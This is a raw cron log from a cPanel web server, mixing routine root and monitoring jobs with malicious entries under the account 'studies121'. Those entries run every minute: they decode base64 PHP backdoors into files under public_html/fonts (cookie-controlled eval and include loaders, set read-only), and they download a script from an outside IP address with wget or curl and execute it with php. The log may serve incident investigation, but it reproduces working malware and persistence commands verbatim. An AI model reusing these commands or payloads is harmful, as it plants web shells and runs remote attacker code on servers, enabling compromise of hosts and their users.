Sep 11 07:45:01 ip-184-168-122-23 CROND[27016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:45:01 ip-184-168-122-23 CROND[27019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:45:01 ip-184-168-122-23 CROND[27020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:45:01 ip-184-168-122-23 CROND[27018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:46:01 ip-184-168-122-23 CROND[27107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:46:01 ip-184-168-122-23 CROND[27108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:46:01 ip-184-168-122-23 CROND[27113]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 07:46:01 ip-184-168-122-23 CROND[27112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:46:01 ip-184-168-122-23 CROND[27114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:46:01 ip-184-168-122-23 CROND[27115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:46:01 ip-184-168-122-23 CROND[27111]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:47:01 ip-184-168-122-23 CROND[27322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:47:02 ip-184-168-122-23 CROND[27323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:47:02 ip-184-168-122-23 CROND[27324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:47:02 ip-184-168-122-23 CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:48:01 ip-184-168-122-23 CROND[27407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:48:01 ip-184-168-122-23 CROND[27409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:48:01 ip-184-168-122-23 CROND[27411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:48:01 ip-184-168-122-23 CROND[27414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:48:01 ip-184-168-122-23 CROND[27415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:49:01 ip-184-168-122-23 CROND[27493]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 07:49:01 ip-184-168-122-23 CROND[27494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:49:01 ip-184-168-122-23 CROND[27496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:49:01 ip-184-168-122-23 CROND[27495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:49:01 ip-184-168-122-23 CROND[27497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27606]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27609]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:50:01 ip-184-168-122-23 CROND[27620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:50:01 ip-184-168-122-23 CROND[27618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:50:01 ip-184-168-122-23 CROND[27619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:51:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:51:01 ip-184-168-122-23 CROND[27710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:51:01 ip-184-168-122-23 CROND[27712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:51:01 ip-184-168-122-23 CROND[27713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:52:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:52:01 ip-184-168-122-23 CROND[27803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:52:01 ip-184-168-122-23 CROND[27807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:52:01 ip-184-168-122-23 CROND[27804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:52:01 ip-184-168-122-23 CROND[27806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:53:01 ip-184-168-122-23 CROND[27993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:53:02 ip-184-168-122-23 CROND[27994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:53:02 ip-184-168-122-23 CROND[27997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:53:02 ip-184-168-122-23 CROND[27998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:54:01 ip-184-168-122-23 CROND[28091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:54:01 ip-184-168-122-23 CROND[28092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:54:01 ip-184-168-122-23 CROND[28093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:54:01 ip-184-168-122-23 CROND[28096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:54:01 ip-184-168-122-23 CROND[28095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:55:02 ip-184-168-122-23 CROND[28213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:55:02 ip-184-168-122-23 CROND[28214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:55:02 ip-184-168-122-23 CROND[28219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:55:02 ip-184-168-122-23 CROND[28221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:55:02 ip-184-168-122-23 CROND[28222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:55:02 ip-184-168-122-23 CROND[28220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:56:01 ip-184-168-122-23 CROND[28339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:56:01 ip-184-168-122-23 CROND[28340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:56:01 ip-184-168-122-23 CROND[28341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:56:01 ip-184-168-122-23 CROND[28344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:56:01 ip-184-168-122-23 CROND[28347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:57:01 ip-184-168-122-23 CROND[28424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
